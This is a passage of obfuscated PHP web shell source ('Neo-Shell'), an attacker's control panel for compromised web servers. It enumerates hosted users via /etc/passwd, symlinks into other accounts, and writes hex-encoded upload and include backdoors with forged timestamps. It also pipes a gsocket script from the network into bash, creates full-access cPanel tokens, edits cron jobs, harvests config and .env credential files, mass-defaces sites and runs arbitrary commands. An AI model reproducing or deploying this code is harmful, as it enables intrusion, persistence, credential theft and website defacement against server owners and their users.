	$pma("/\/ho"."me\/(.*?):/i", $fjp, $fjpr);
	$fjpr = $fjpr[1];
	if (empty($fjpr)) {
		die(red("[!] Tidak Ada Us"."er di Temukan !"));
	}
	echo "Total Ada ".$ctn($aru($fjpr))." di"."rec"."to"."ry di Ser"."ver <font color=gold>".$_SERVER[$rad]."</font><br><br>";
	foreach ($aru($fjpr) as $fj) {
		$fjh = "/h"."om"."e/".$fj."/pu"."bl"."ic_h"."tml";
		if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) {
			$etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf");
			$pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en);
			$en = $en[1];
			if ($ird($fjh)) {
				echo "[<font color=green>Re"."ada"."ble</font>] <a href='".$_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$fjh."'>".$fjh."</a> => ";
			} else {
				echo "[<font color=red>Un"."rea"."dab"."le</font>] ".$fjh."</a> => ";
			}
			foreach ($aru($en) as $enw) {
				$asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw));
				$asd = $asd['name'];
				if ($asd == $fj) {
					echo "<a href='http://".$enw."' target=_blank><font color=gold>".$enw."</font></a>, ";
				}
			}
			echo "<br>";
		} else {
			if ($ird($fjh)) {
				echo "[<font color=green>Re"."ada"."ble</font>] <a href='".$_SERVER['SC'.'RIP'.'T_N'.'AME']."?loknya=".$fjh."'>".$fjh."</a><br>";
			} else {
				echo "[<font color=red>Un"."rea"."dab"."le</font>] ".$fjh."</a><br>";
			}
		}
	}
	echo "<hr>";
	die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "esyeem") {
	if ($ird("/e"."tc"."/p"."as"."sw"."d")) {
		$syp = $fgt("/e"."tc"."/p"."as"."sw"."d");
	} elseif (!empty(komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi))) {
		$syp = komenb("ca"."t /e"."tc/"."pa"."ss"."wd", $lokasi);
	} else {
		die(red("[!] Gagal Mengambil Di"."rec"."to"."ry !"));
	}
	if (!$fnct("sy"."mli"."nk")) {
		if (!$fnct("pr"."oc_"."op"."en")) {
			die(red("[!] Sy"."mli"."nk Fu"."nct"."ion is Di"."sabl"."ed !"));
		}
	}
	echo "<center>[ <gold>GR"."AB CO"."NFIG</gold> ] - [ <a href=".$_SERVER['R'.'EQ'.'UE'.'ST_'.'UR'.'I']."&opsidua=s"."yfile><gold>SY"."MLI"."NK FI"."LE</gold></a> ] - [ <gold>SY"."MLI"."NK VH"."OST</gold> ]</center>";
	if (isset($_GET['opsidua'])) {
		if ($_GET['opsidua'] == "gra"."bco"."nfig") {
			# code...
		} elseif ($_GET['opsidua'] == "s"."yfile") {
			echo "<br><br><center>Opsi : <gold>Sy"."mli"."nk Fi"."le</gold>";
			echo '<form method="post">File : 
			<input type="text" name="domena" style="cursor: pointer; border-color: #000" class="up" placeholder="/ho'.'me/'.'use'.'r/p'.'ubli'.'c_ht'.'ml/da'.'tab'.'ase.'.'php">
			<input type="submit" name="gaskeun" value="Gaskeun" class="up" style="cursor: pointer">
			</form></center>';
			if (isset($_POST['gaskeun'])) {
				$rend = rand().".txt";
				$lokdi = $_POST['domena'];
				esyeem($lokdi, "an"."on_s"."ym/".$rend);
				echo '<br><center>Cek : <a href="an'.'on_'.'sy'.'m/'.$rend.'"><gold>'.$rend."</gold></a></center><br>";
			}
		}
		echo "<hr>";
		die(author());
	}
	$pma("/\/ho"."me\/(.*?):/i", $syp, $sypr);
	$sypr = $sypr[1];
	if (empty($sypr)) {
		die(red("[!] Tidak Ada Us"."er di Temukan !"));
	}
	echo "Total Ada ".$ctn($aru($sypr))." Us"."er di Ser"."ver <font color=gold>".$_SERVER[$rad]."</font><br><br>";
	if (!$isw(getcwd())) {
		die(red("[!] Gagal Sy"."mli"."nk - Red D"."ir !"));
	}
	if (!$fxt("an"."on_"."sy"."m")) {
		$mdr("an"."on_"."sy"."m");
	}
	if (!$fxt("an"."on_"."sy"."m/.ht"."acc"."ess")) {
		$fpt("an"."on_"."sy"."m/."."h"."ta"."cce"."ss", $urd("Opt"."ions%20In"."dexe"."s%20Fol"."lowSy"."mLi"."nks%0D%0ADi"."rect"."oryIn"."dex%20sss"."sss.htm%0D%0AAdd"."Type%20txt%20.ph"."p%0D%0AAd"."dHand"."ler%20txt%20.p"."hp"));
	}
	$ckn = esyeem("/", "an"."on_"."sy"."m/anon");
	foreach ($aru($sypr) as $sj) {
		$sjh = "/h"."om"."e/".$sj."/pu"."bl"."ic_h"."tml";
		$ygy = $srl($bsn($_SERVER['SC'.'RI'.'PT_NA'.'ME']), "an"."on_"."sy"."m/anon".$sjh, $_SERVER['SC'.'RI'.'PT_NA'.'ME']);
		if ($ird("/e"."tc"."/na"."me"."d.co"."nf")) {
			$etn = $fgt("/e"."tc"."/na"."me"."d.co"."nf");
			$pma("/\/v"."ar\/na"."me"."d\/(.*?)\.d"."b/i", $etn, $en);
			$en = $en[1];
			echo "[<font color=gold>Sy"."mli"."nk</font>] <a href='".$ygy."' target=_blank>".$sjh."</a> => ";
			foreach ($aru($en) as $enw) {
				$asd = $pgw(@$fow("/e"."tc/"."val"."ias"."es/".$enw));
				$asd = $asd['name'];
				if ($asd == $sj) {
					echo "<a href='http://".$enw."' target=_blank><font color=gold>".$enw."</font></a>, ";
				}
			}
			echo "<br>";
		} else {
			echo "[<font color=gold>Sy"."mli"."nk</font>] <a href='".$ygy."' target=_blank>".$sjh."</a><br>";
		}
	}
	echo "<hr>";
	die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "bekup") {
	if (isset($_POST['lo'.'kr'.'una'])) {
		echo "<center>";
		echo "Path : <gold>".$hsc($_POST['lo'.'kr'.'una'])."</gold><br>";
		if (!$isr($_POST['lo'.'kr'.'una'])) {
			die(red("[+] Cur"."rent Pa"."th is Unre"."adable !"));
		} elseif (!$isw($_POST['lo'.'kr'.'una'])) {
			die(red("[+] Cur"."rent Pa"."th is Un"."wri"."tea"."ble !"));
		}
		$loks = sds($_POST['lo'.'kr'.'una']);
		$pisah = $ars($loks, -50);
		$los = $arr($pisah, 2);
		$satu = $loks[$los[0]];
		$satut = $ftm($satu);
		$dua = $loks[$los[1]];
		$duat = $ftm($dua);
		if (empty($satu) && empty($dua)) {
			die(red("[+] Unknown Error !"));
		}
		echo "<br>";
		if (!$isw($satu)) {
			echo "[<merah>Fa"."il"."ed</merah>] ".$satu."<br>";
		} else {
			$satus = $satu."/cont"."act.p"."hp";
			$fpt($satus, $h2b("3c6d65746120636f6e74656e743d226e6f696e646578226e616d653d22726f626f7473223e436f6e74616374204d653c666f726d20656e63747970653d226d756c7469706172742f666f726d2d64617461226d6574686f643d22706f7374223e3c696e707574206e616d653d226274756c22747970653d2266696c65223e3c627574746f6e3e4761736b616e3c2f627574746f6e3e3c2f666f726d3e3c3f3d22223b24613d2766272e2769272e276c272e2765272e275f272e2770272e2775272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24623d2766272e2769272e276c272e2765272e275f272e2767272e2765272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24633d2774272e276d272e2770272e275f272e276e272e2761272e276d272e2765273b24643d2768272e276578272e273262272e27696e273b24663d2766272e27696c272e27655f65272e277869272e277374272e2773273b696628697373657428245f46494c45535b276274756c275d29297b246128245f46494c45535b276274756c275d5b276e616d65275d2c246228245f46494c45535b276274756c275d5b24635d29293b696628246628272e2f272e245f46494c45535b276274756c275d5b276e616d65275d29297b6563686f20274f6b652021273b7d656c73657b6563686f20274661696c2021273b7d7d696628697373657428245f4745545b27667074275d29297b246128246428245f504f53545b2766275d292c246428245f504f53545b2764275d29293b696628246628246428245f504f53545b2766275d2929297b6563686f20224f6b652021223b7d656c73657b6563686f20224661696c2021223b7d7d3f3e"));
			$tch($satus, $satut);
			$tch($satu, $satut);
			echo "[<ijo>Su"."cc"."ess</ijo>] ".$satus."<br>";
			if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
				$lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $satus);
				$satul = "<br><a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
			}
		}
		if (!$isw($dua)) {
			echo "[<merah>Fa"."il"."ed</merah>] ".$dua."<br>";
		} else {
			$duas = $dua."/setti"."ng.p"."hp";
			$fpt($duas, $h2b("3c6d657461206e616d653d22726f626f74732220636f6e74656e743d226e6f696e646578223e0d0a4d792053657474696e670d0a3c3f7068700d0a2461203d20226669222e226c655f70222e2275745f63222e226f6e74222e2265222e226e74222e2273223b0d0a2462203d202266222e22696c222e22655f6765222e2274222e225f636f222e226e74656e74222e2273223b0d0a2463203d20226669222e226c65222e225f6578222e226973222e227473223b0d0a2464203d202268222e226578222e223262222e22696e223b0d0a69662028697373657428245f504f53545b276b6f64275d2929207b0d0a09246128245f504f53545b276c6f6b275d2c20246428245f504f53545b276b6f64275d29293b0d0a0969662028246328245f504f53545b276c6f6b275d2929207b0d0a09096563686f20224f4b202120223b0d0a097d20656c7365207b0d0a09096563686f20224661696c6564202120223b0d0a097d0d0a7d0d0a69662028697373657428245f4745545b276963275d2929207b0d0a09696e636c75646520245f4745545b276963275d3b0d0a7d0d0a69662028697373657428245f4745545b276170275d2929207b0d0a0924612822776b776b2e706870222c20246428223363366436353734363132303665363136643635336432323732366636323666373437333232323036333666366537343635366537343364323236653666363936653634363537383232336534333666366537343631363337343230346436353363363636663732366432303664363537343638366636343364323237303666373337343232323036353665363337343739373036353364323236643735366337343639373036313732373432663636366637323664326436343631373436313232336533633639366537303735373432303734373937303635336432323636363936633635323232303665363136643635336432323632373437353663323233653363363237353734373436663665336534373631373336623631366533633266363237353734373436663665336533633266363636663732366433653061336333663730363837303061323436313230336432303232363632323265323236393232326532323663323232653232363532323265323235663232326532323730323232653232373532323265323237343232326532323566323232653232363332323265323236663232326532323665323232653232373432323265323236353232326532323665323232653232373432323265323237333232336230613234363232303364323032323636323232653232363932323265323236633232326532323635323232653232356632323265323236373232326532323635323232653232373432323265323235663232326532323633323232653232366632323265323236653232326532323734323232653232363532323265323236653232326532323734323232653232373332323362306132343633323033643230323237343232326532323664323232653232373032323265323235663232326532323665323232653232363132323265323236643232326532323635323233623061363936363230323836393733373336353734323832343566343634393463343535333562323736323734373536633237356432393239323037623234363132383234356634363439346334353533356232373632373437353663323735643562323736653631366436353237356432633230323436323238323435663436343934633435353335623237363237343735366332373564356232343633356432393239336236393636323032383636363936633635356636353738363937333734373332383232326532663232326532343566343634393463343535333562323736323734373536633237356435623237366536313664363532373564323932393230376236353633363836663230323234663662363532303231323233623764323036353663373336353230376236353633363836663230323234363631363936633230323132323362376437643061336633652229293b0d0a096966202824632822776b222e22776b2e222e227068222e2270222929207b0d0a09096563686f20224f4b2021223b0d0a097d0d0a7d0d0a3f3e"));
			$tch($duas, $duat);
			$tch($dua, $duat);
			echo "[<ijo>Su"."cc"."ess</ijo>] ".$duas."<br>";
			if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
				$lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $duas);
				$dual = "<a href='".$lwb."'><font color='gold'>".$lwb."</font></a><br>";
			}
		}
		echo "<br>";
		if (!empty($satul)) {
			echo $satul;
		}
		if (!empty($dual)) {
			echo $dual;
		}
		echo "</center>";
	} else {
		echo "<center>Masukkan Lokasi Docu"."ment Ro"."ot<br>";
		echo '<form method="post"><input type="text" name="lokruna" value="'.$hsc($_GET['loknya']).'" style="cursor: pointer; border-color: #000" class="up"> ';
		echo '<input type="submit" name="palepale" value="Gaskan" class="up" style="cursor: pointer"></form>';
	}
	die();
} elseif (isset($_GET['opsi']) && $_GET['opsi'] == "repip") {
	echo "<center>";
	echo "Re"."ver"."se I"."P : <gold>".$hsc($_SERVER['SE'.'RVE'.'R_NA'.'ME'])."</gold>";
	echo "<pre>".$hsc(crul("http"."s://ap"."i.ha"."ck"."ertarg"."et.com/re"."verse"."ipl"."ookup/?q=".$_SERVER['SE'.'RVE'.'R_NA'.'ME']))."</pre>";
	echo "</center>";
	die();
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "cpanel") {
	echo "<center>";
	$randName = "Fay".rand(100,999);
	$cmd = "ua"."pi Tok"."ens crea"."te_fu"."ll_ac"."cess n"."ame='".$randName."'";
	echo "<pre>".$hsc(komenb($cmd, $lokasi))."</pre>";
	echo "<hr>";
	die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "gsocket") {
	echo "<center>";
	$cmd = "cu"."rl -f"."sSL h"."tt"."ps://gs"."ock"."et."."io/x | b"."ash";
	echo "<pre>".$hsc(komenb($cmd, $lokasi))."</pre>";
	echo "<hr>";
	die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "adminer") {
	echo "<center>";
	$url = "ht"."tps://gi"."thu"."b.co"."m/vr"."ana/ad"."min"."er/rele"."ases/dow"."nloa"."d/v4."."8.1/ad"."min"."er-4.8.1.p"."hp";
	$data = @$fgt($url);
	if ($data !== false) {
		$result = @$fpt($lokasi."/ad"."min"."er.p"."hp", $data);
		if ($result !== false && $fxt($lokasi."/ad"."min"."er.p"."hp")) {
			green("Ad"."min"."er berh"."asil di-do"."wnl"."oad: ".$lokasi."/ad"."min"."er.p"."hp");
			if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
				$lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $lokasi."/ad"."min"."er.p"."hp");
				echo '<div class="alert-success-custom">Li'.'nk: <a href="'.$lwb.'" class="text-gold">'.$lwb.'</a></div>';
			}
		} else {
			red("Ga"."gal men"."yim"."pan ad"."min"."er.p"."hp!");
		}
	} else {
		red("Ga"."gal men"."dow"."nlo"."ad ad"."min"."er!");
	}
	echo "<hr>";
	die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "cron") {
	echo "<center>";
	echo "<h5 style='color:#fff'>CRO".'NJ'.'OB MA'.'NA'.'GER</h5>';
	$tmpf = $lokasi."/.cr"."on"."tmp";
	if (isset($_POST['savecron'])) {
		@$fpt($tmpf, $_POST['crontext']);
		if ($fxt("/u"."sr/b"."in/c"."ront"."ab")) {
			$res = komenb("cr"."ont"."ab ".$tmpf, $lokasi);
		} elseif ($fxt("/u"."sr/b"."in/c"."ron"."tab")) {
			$res = komenb("cro"."nt"."ab ".$tmpf, $lokasi);
		} else {
			$res = komenb("cr"."ont"."ab ".$tmpf, $lokasi);
		}
		@$ulk($tmpf);
		if (empty($res)) {
			green("Cr"."on s"."av"."ed suc"."ces"."sfu"."lly!");
		} else {
			red("Er"."ror: ".$hsc($res));
		}
	}
	$crondata = komenb("cr"."ont"."ab -l", $lokasi);
	if (empty($crondata) || $sps($crondata, "no crontab") !== false) {
		$crondata = "# No crontab found - add your entries here\n# Example: * * * * * /path/to/command";
	}
	echo '<form method="post">';
	echo '<textarea name="crontext" cols="85" rows="16" style="background:#0a0a0a;color:#e5e5e5;border:1px solid #1f1f1f;font-family:JetBrains Mono,monospace;font-size:0.85rem;padding:12px;border-radius:6px;width:100%">'.$hsc($crondata).'</textarea><br><br>';
	echo '<button type="submit" name="savecron" class="btn btn-primary-custom"><i class="fas fa-save"></i> SA'.'VE CR'.'ON</button>';
	echo '</form>';
	echo "<hr>";
	die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "config") {
	echo "<center>";
	echo "<h5 style='color:#fff'>CON".'FIG GRA'.'BBER</h5>';
	$docRoot = $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'];
	echo "<p style='color:#808080'>Scann"."ing fro"."m: <span style='color:#d4af37'>".$hsc($docRoot)."</span></p>";
	$cfgPatterns = array(
		"wp-co"."nfi"."g.p"."hp",
		".e"."nv",
		"con"."fig.p"."hp",
		"dat"."abase."."ph"."p",
		"se"."tti"."ngs.p"."hp",
		"con"."figu"."rat"."ion.p"."hp",
		"lo"."cal-c"."onf"."ig.ph"."p",
		".en"."v.lo"."cal",
		"db.ph"."p",
		"dbco"."nfi"."g.p"."hp",
		"my"."sql.p"."hp",
		"co"."nn"."ect.p"."hp",
		"kon"."ek"."si.p"."hp",
		"cre"."den"."tials.ph"."p",
		"se"."cret.p"."hp",
		"ap"."p/co"."nfig/da"."tab"."ase.p"."hp",
		"inc"."lud"."es/co"."nf"."ig.ph"."p",
		"i"."nc/co"."nf"."ig.ph"."p",
	);
	$found = cfgSc($docRoot, $cfgPatterns);
	if (empty($found)) {
		echo oren("No co"."nfig files fo"."und in cur"."rent di"."rec"."to"."ry!");
	} else {
		$ctn = "co"."unt";
		echo "<p>Found <strong style='color:#d4af37'>".$ctn($found)."</strong> config ".($ctn($found) > 1 ? "files" : "file")."</p>";
		foreach ($found as $f) {
			echo "<div style='background:#0a0a0a;border:1px solid #1f1f1f;border-radius:6px;padding:12px;margin-bottom:12px;text-align:left'>";
			echo "<strong style='color:#d4af37'><i class='fas fa-file-code'></i> ".$hsc($f)."</strong>";
			echo "<pre style='margin-top:8px;max-height:400px;overflow-y:auto'>".$hsc(@$fgt($f))."</pre>";
			echo "</div>";
		}
	}
	echo "<hr>";
	die(author());
} elseif (isset($_GET['loknya']) && $_GET['opsi'] == "mdf") {
	echo "<center>";
	if (empty($_POST['palepale'])) {
		echo '<form method="post">';
		echo 'Di'.'r : <input type="text" name="lokena" class="up" style="cursor: pointer; border-color: #000" value="'.$hsc($_GET['loknya']).'"><br>';
		echo 'Nama Fi'.'le : <input type="text" name="nfil" class="up" style="cursor: pointer; border-color: #000" value="ind'.'ex.p'.'hp"><br><br>';
		echo 'Isi Fi'.'le : <br><textarea class="up" cols="80" rows="20" name="isikod"></textarea><br><br>';
		echo '<select name="opsina"><option value="mdf">Ma'.'ss Def'.'ace</option><option value="mds">Ma'.'ss De'.'fa'.'ce 2</option></select><br><br>';
		echo '<input type="submit" name="palepale" value="Gaskeun" class="up" style="cursor: pointer">';
		echo '</form>';
	} else {
		$lokena = $_POST['lokena'];
		$nfil = $_POST['nfil'];
		$isif = $_POST['isikod'];
		echo "Di"."r : <gold>".$hsc($lokena)."</gold><br>";
		if (!$fxt($lokena)) {
			die(red("[+] Di"."re"."cto"."ry Tidak di Temukan !"));
		}
		$g = $scd($lokena);
		if (isset($_POST['opsina']) && $_POST['opsina'] == "mds") {
			foreach ($g as $gg) {
				if (isset($gg) && $gg == "." || $gg == "..") {
					continue;
				} elseif (!$idr($gg)) {
					continue;
				}
				if (!$isw($lokena."/".$gg)) {
					echo "[<merah>Un"."wri"."tea"."ble</merah>] ".$lokena."/".$gg."<br>";
					continue;
				}
				$loe = $lokena."/".$gg."/".$nfil;
				$cf = $fgr($gg);
				if ($cf == "9"."9") {
					if ($fpt($loe, $isif) !== false) {
						if ($sps($gg, ".") !== false) {
							echo "[<ijo>Su"."cc"."ess</ijo>] ".$loe." -> <a href='//".$gg."/".$nfil."'><gold>".$gg."/".$nfil."</gold></a><br>";
						} else {
							echo "[<ijo>Su"."cc"."ess</ijo>] ".$loe."<br>";
						}
					}
				}
			}
			echo "<hr>";
			die(author());
		}
		foreach ($g as $gg) {
			if (isset($gg) && $gg == "." || $gg == "..") {
				continue;
			} elseif (!$idr($gg)) {
				continue;
			}
			if (!$isw($lokena."/".$gg)) {
				echo "[<merah>Un"."wri"."tea"."ble</merah>] ".$lokena."/".$gg."<br>";
				continue;
			}
			$loe = $lokena."/".$gg."/".$nfil;
			if ($fpt($loe, $isif) !== false) {
				echo "[<ijo>Su"."cc"."ess</ijo>] ".$loe."<br>";
			} else {
				echo "[<merah>Un"."wri"."tea"."ble</merah>] ".$lokena."/".$gg."<br>";
			}
		}
	}
	echo "<hr>";
	echo "</center>";
	die(author());
}

if (isset($_GET['lokasie'])) {
	echo "<tr>Neo-Shell<br/>";
	echo "</td>Current Fi"."le : ".$_GET['lokasie'];
	echo '</td><br/>';
	echo "<pre>".$hsc($fgt($_GET['lokasie']))."</pre>";
	author();
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "hapus") {
	if ($idi($_POST['loknya']) && $fxt($_POST['loknya'])) {
		xrd($_POST['loknya']);
		if ($fxt($_POST['loknya'])) {
			red("Fai"."led to del"."ete D"."ir"."ec"."tory !");
		} else {
			green("Del"."ete Di"."r"."ect"."ory Suc"."cess !");
		}
	} elseif ($ifi($_POST['loknya']) && $fxt($_POST['loknya'])) {
		@$ulk($_POST['loknya']);
		if ($fxt($_POST['loknya'])) {
			red("Fa"."il"."ed to Delete Fi"."le !");
		} else {
			green("De"."le"."te Fi"."le Succ"."ess !");
		}
	} else {
		red("Fi"."le / Di"."r"."ecto"."ry not Fo"."und !");
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
	if (!isset($_POST['cemod'])) {
		if ($_POST['ty'.'pe'] == "fi"."le") {
			echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br>";
		} else {
			echo "<center>D"."ir : ".$hsc($_POST['loknya'])."<br>";
		}
		echo '<form method="post">
		Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
		<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
		<input type="hidden" name="pilih" value="ubahmod">';
		if ($_POST['ty'.'pe'] == "fi"."le") {
			echo '<input type="hidden" name="type" value="fi'.'le">';;
		} else {
			echo '<input type="hidden" name="type" value="di'.'r">';;
		}
		echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
		</form><br>';
	} else {
		$cm = @$chm($_POST['loknya'], $ocd($_POST['perm']));
		if ($cm == true) {
			green("Change Mod Su"."cc"."ess !");
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br>";
			} else {
				echo "<center>D"."ir : ".$hsc($_POST['loknya'])."<br>";
			}
			echo '<form method="post">
			Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
			<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
			<input type="hidden" name="pilih" value="ubahmod">';
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo '<input type="hidden" name="type" value="fi'.'le">';;
			} else {
				echo '<input type="hidden" name="type" value="di'.'r">';;
			}
			echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
			</form><br>';
		} else {
			red("Change Mod Fa"."il"."ed !");
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br>";
			} else {
				echo "<center>D"."ir : ".$hsc($_POST['loknya'])."<br>";
			}
			echo '<form method="post">
			Pe'.'rmi'.'ss'.'ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" />
			<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
			<input type="hidden" name="pilih" value="ubahmod">';
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo '<input type="hidden" name="type" value="fi'.'le">';;
			} else {
				echo '<input type="hidden" name="type" value="di'.'r">';;
			}
			echo '<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>
			</form><br>';
		}
	}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahnama") {
	if (isset($_POST['gantin'])) {
		$namabaru = $_GET['loknya']."/".$_POST['newname'];
		$ceen = "re"."na"."me";
		if (@$ceen($_POST['loknya'], $namabaru) === true) {
			green("Change Name Su"."cc"."ess");
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br>";
			} else {
				echo "<center>D"."ir : ".$hsc($_POST['loknya'])."<br>";
			}
			echo '<form method="post">
			New Name : <input name="newname" type="text" class="up" size="20" value="'.$hsc($_POST['newname']).'" />
			<input type="hidden" name="loknya" value="'.$_POST['newname'].'">
			<input type="hidden" name="pilih" value="ubahnama">';
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo '<input type="hidden" name="type" value="fi'.'le">';;
			} else {
				echo '<input type="hidden" name="type" value="di'.'r">';;
			}
			echo '<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
			</form><br>';
		} else {
			red("Change Name Fa"."il"."ed");
		}
	} else {
		if ($_POST['ty'.'pe'] == "fi"."le") {
			echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br>";
		} else {
			echo "<center>D"."ir : ".$hsc($_POST['loknya'])."<br>";
		}
		echo '<form method="post">
		New Name : <input name="newname" type="text" class="up" size="20" value="'.$hsc($bsn($_POST['loknya'])).'" />
		<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
		<input type="hidden" name="pilih" value="ubahnama">';
		if ($_POST['ty'.'pe'] == "fi"."le") {
			echo '<input type="hidden" name="type" value="fi'.'le">';;
		} else {
			echo '<input type="hidden" name="type" value="di'.'r">';;
		}
		echo '<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
		</form><br>';
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
	if (isset($_POST['gasedit'])) {
		$edit = @$fpt($_POST['loknya'], $_POST['src']);
		if ($fgt($_POST['loknya']) == $_POST['src']) {
			green("Ed"."it Fi"."le Suc"."ce"."ss !");
		} else {
			red("Ed"."it Fi"."le Fai"."led !");
		}
	}
	echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br><br>";
	echo '<form method="post">
	<textarea cols=80 rows=20 name="src">'.$hsc($fgt($_POST['loknya'])).'</textarea><br>
	<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
	<input type="hidden" name="pilih" value="ed'.'it">
	<input type="submit" value="Ed'.'it Fi'.'le" name="gasedit" class="up" style="cursor: pointer; border-color: #fff"/>
	</form><br>';
} elseif (isset($_POST['komends'])) {
	if (isset($_POST['komend'])) {
		if (isset($_GET['loknya'])) {
			$lk = $_GET['loknya'];
		} else {
			$lk = $gcw();
		}
		$km = 'ko'.'me'.'nd';
		echo $km($_POST['komend'], $lk);
		exit();
	}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahtanggal") {
	if (isset($_POST['tanggale'])) {
		$stt = "st"."rtot"."ime";
		$tch = "t"."ou"."ch";
		$tanggale = $stt($_POST['tanggal']);
		if (@$tch($_POST['loknya'], $tanggale) === true) {
			green("Change Da"."te Succ"."ess !");
			$det = "da"."te";
			$ftm = "fi"."le"."mti"."me";
			$b = $det("d F Y H:i:s", $ftm($_POST['loknya']));
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br>";
			} else {
				echo "<center>D"."ir : ".$hsc($_POST['loknya'])."<br>";
			}
			echo '<form method="post">
			New Da'.'te : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
			<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
			<input type="hidden" name="pilih" value="ubahtanggal">';
			if ($_POST['ty'.'pe'] == "fi"."le") {
				echo '<input type="hidden" name="type" value="fi'.'le">';;
			} else {
				echo '<input type="hidden" name="type" value="di'.'r">';;
			}
			echo '<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>
			</form><br>';
		} else {
			red("Fai"."led to Cha"."nge Da"."te !");
		}
	} else {
		$det = "da"."te";
		$ftm = "fi"."le"."mti"."me";
		$b = $det("d F Y H:i:s", $ftm($_POST['loknya']));
		if ($_POST['ty'.'pe'] == "fi"."le") {
			echo "<center>Fi"."le : ".$hsc($_POST['loknya'])."<br>";
		} else {
			echo "<center>D"."ir : ".$hsc($_POST['loknya'])."<br>";
		}
		echo '<form method="post">
		New Da'.'te : <input name="tanggal" type="text" class="up" size="20" value="'.$b.'" />
		<input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
		<input type="hidden" name="pilih" value="ubahtanggal">';
		if ($_POST['ty'.'pe'] == "fi"."le") {
			echo '<input type="hidden" name="type" value="fi'.'le">';;
		} else {
			echo '<input type="hidden" name="type" value="di'.'r">';;
		}
		echo '<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>
		</form><br>';
	}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "dunlut") {
	$dunlute = $_POST['loknya'];
	if ($fxt($dunlute) && isset($dunlute)) {
		if ($ird($dunlute)) {
			dunlut($dunlute);
		} elseif ($idr($fl)) {
			red("That is Di"."rec"."tory, Not Fi"."le -_-");
		} else {
			red("Fi"."le is Not Re"."adab"."le !");
		}
	} else {
		red("Fi"."le Not Fo"."und !");
	}
} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "fo"."ld"."er") {
    if ($isw("./") || $ird("./")) {
        $loke = $_POST['loknya'];
        if (isset($_POST['buatfol'.'der'])) {
            $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']);
            if ($buatf == true) {
                green("Fol"."der <b>".$hsc($_POST['fo'.'lde'.'rba'.'ru'])."</b> Created !");
